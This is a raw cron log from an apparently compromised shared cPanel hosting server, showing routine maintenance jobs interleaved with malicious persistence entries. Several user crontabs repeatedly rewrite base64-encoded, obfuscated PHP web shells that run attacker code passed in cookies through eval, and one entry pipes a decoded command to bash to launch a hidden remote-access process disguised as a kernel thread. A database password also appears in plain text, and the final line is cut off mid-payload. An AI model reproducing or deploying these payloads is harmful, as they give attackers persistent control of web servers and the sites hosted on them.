Mar  2 09:59:02 medusa CROND[32404]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:59:02 medusa CROND[32405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:59:02 medusa CROND[32406]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:59:02 medusa CROND[32414]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:59:02 medusa CROND[32415]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:59:02 medusa CROND[32416]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:59:02 medusa CROND[32417]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:00:01 medusa CROND[17858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:00:02 medusa CROND[17918]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[17978]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 10:00:02 medusa CROND[18239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:00:02 medusa CROND[18387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 10:00:02 medusa CROND[18424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18427]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 10:00:02 medusa CROND[18428]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18429]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18434]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 10:00:02 medusa CROND[18426]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18436]: (modulablecom) CMD (wget -q -O https://tienda.modulable.com.ar/cron.php >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18425]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:00:02 medusa CROND[18449]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 10:00:02 medusa CROND[18453]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:00:02 medusa CROND[18458]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 10:00:02 medusa CROND[18468]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:00:02 medusa CROND[18470]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:00:02 medusa CROND[18472]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18476]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18477]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18459]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18473]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:00:02 medusa CROND[18489]: (modulablecom) CMD (wget -q -O https://modulable.com.ar/cron.php >/dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18491]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:00:02 medusa CROND[18488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18494]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:00:02 medusa CROND[18495]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:00:02 medusa CROND[18493]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:00:02 medusa CROND[18492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:00:02 medusa CROND[18462]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:00:02 medusa CROND[18516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:00:02 medusa CROND[18525]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:00:02 medusa CROND[18533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:00:02 medusa CROND[18534]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:00:02 medusa CROND[18538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 10:00:02 medusa CROND[18535]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 10:00:02 medusa CROND[18537]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:00:02 medusa CROND[18546]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 10:00:02 medusa CROND[18547]: (larompe) CMD (mysqldump -u larompe -pCrossfit1988 --databases larompe_cervecerias |   gzip -c >/home5/larompe/backups/`date   -I`_cervecerias.sql.gz)
Mar  2 10:01:01 medusa CROND[31791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:01:01 medusa CROND[32043]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:01:01 medusa CROND[32042]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:01:01 medusa CROND[32045]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:01:01 medusa CROND[32046]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:01:01 medusa CROND[32044]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:01:01 medusa CROND[32047]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:01:01 medusa CROND[32050]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:01:01 medusa CROND[32052]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 10:01:01 medusa CROND[32057]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9l